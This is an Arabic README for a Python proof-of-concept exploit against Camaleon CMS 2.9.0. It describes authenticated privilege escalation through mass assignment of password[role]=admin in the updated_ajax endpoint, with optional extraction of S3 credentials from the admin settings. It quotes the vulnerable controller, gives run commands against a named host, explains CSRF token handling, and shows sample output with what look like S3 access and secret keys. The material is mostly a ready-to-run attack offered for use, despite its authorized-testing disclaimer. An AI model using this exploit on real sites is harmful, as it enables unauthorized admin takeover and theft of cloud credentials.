
تصعيد الامتيازات المُوثَّق في Camaleon CMS v2.9.0 عبر معالجة غير صحيحة للمُعاملات في نقطة النهاية updated_ajax.
الهدف: Camaleon CMS
v2.9.0
النوع: تصعيد امتيازات مُوثَّق عبر الإسناد الجماعي فيupdated_ajax(حقل الدور)
إضافات: استخراج اختياري لإعدادات S3 من صفحة إعدادات المشرف (إذا كان المستخدم المُوثَّق قادرًا على الوصول إليها بعد التصعيد)
يحتوي هذا المستودع على نص برهان بلغة بايثون يقوم بما يلي:
/admin/profile/edit.updated_ajax لتحديث حقولpassword[...]**وإساءة استخدام**permit!لتعيينpassword[role]=admin`.-e) استخراج قيم إعدادات S3 من /admin/settings/site.-r) إعادة الدور إلى قيمته الأصلية بعد التشغيل.يتوافق هذا السلوك مع نمط الإسناد الجماعي غير الآمن الموصوف في الاستشارة ذات الصلة:
يقوم إجراء المتحكم أدناه بتحديث مستخدم باستخدام permit!:
def updated_ajax
@user = current_site.users.find(params[:user_id])
update_session = current_user_is?(@user)
@user.update(params.require(:password).permit!)
render inline: @user.errors.full_messages.join(', ')
# keep user logged in when changing their own password
update_auth_token_in_cookie @user.auth_token if update_session && @user.saved_change_to_password_digest?
end
نظرًا لأن permit! تسمح بجميع المفاتيح تحت password، يمكن للمهاجم إرسال:
password[password]password[password_confirmation]password[role]=adminوسيقبل التطبيق ذلك، مما يرفع دور المستخدم.
admin.requestsتثبيت التبعية:
pip install requests
python exploit.py -u http://alienone.in -U test -P test
-e)python exploit.py -u http://alienone.in -U test -P test -e
-r)python exploit.py -u http://alienone.in -U test -P test -r
python exploit.py -u http://alienone.in -U test -P test -e -r
python3 exploit.py -u http://alienone.in -U test -P test -e -r
[+]Camaleon CMS Version 2.9.0 PRIVILEGE ESCALATION (Authenticated)
[+]Login confirmed
User ID: 5
Current User Role: client
[+]Loading PPRIVILEGE ESCALATION
User ID: 5
Updated User Role: admin
[+]Extracting S3 Credentials
s3 access key: AKIAF3A388ECF117D966
s3 secret key: VRRVL5fePgqtow/1Xw65TL9iA2DXtj258BkH33Ux
s3 endpoint: http://localhost:54321
[+]Reverting User Role
User ID: 5
User Role: client
يتحقق النص من وجود رابط /admin/logout في HTML المُعاد بعد طلب POST لتسجيل الدخول.
إذا كان رابط الخروج موجودًا، تُعتبر الجلسة مُوثَّقة.
يستخدم Camaleon نمط CSRF الخاص بـ Rails. ستظهر الرموز عادةً في مكانين شائعين:
name="authenticity_token" value="..."<meta name="csrf-token" content="...">يجلب PoC الرمز csrf من وسم meta من /admin/profile/edit ويستخدمه في:
authenticity_token=<token>X-CSRF-Token: <token>هذا الكود مُقدَّم لأغراض الاختبارات الأمنية المُصرَّح بها والأغراض التعليمية فقط (مثل المختبرات، ومسابقات CTF، والبيئات التي لديك إذن صريح بها).
لا تستخدمه ضد أنظمة لا تملكها أو ليس لديك إذن باختبارها.
| العلامة | الوصف |
|---|
-u, --url | الرابط الأساسي (مثال: http://alienone.in) |
-U, --username | اسم المستخدم الصالح |
-P, --password | كلمة المرور الصالحة |
--newpass | قيمة كلمة المرور المُرسلة في طلب التحديث (الافتراضي: test) |
-e, --extract | استخراج إعدادات S3 من صفحة الإعدادات |
-r, --revert | إعادة الدور إلى الدور الأصلي بعد التصعيد |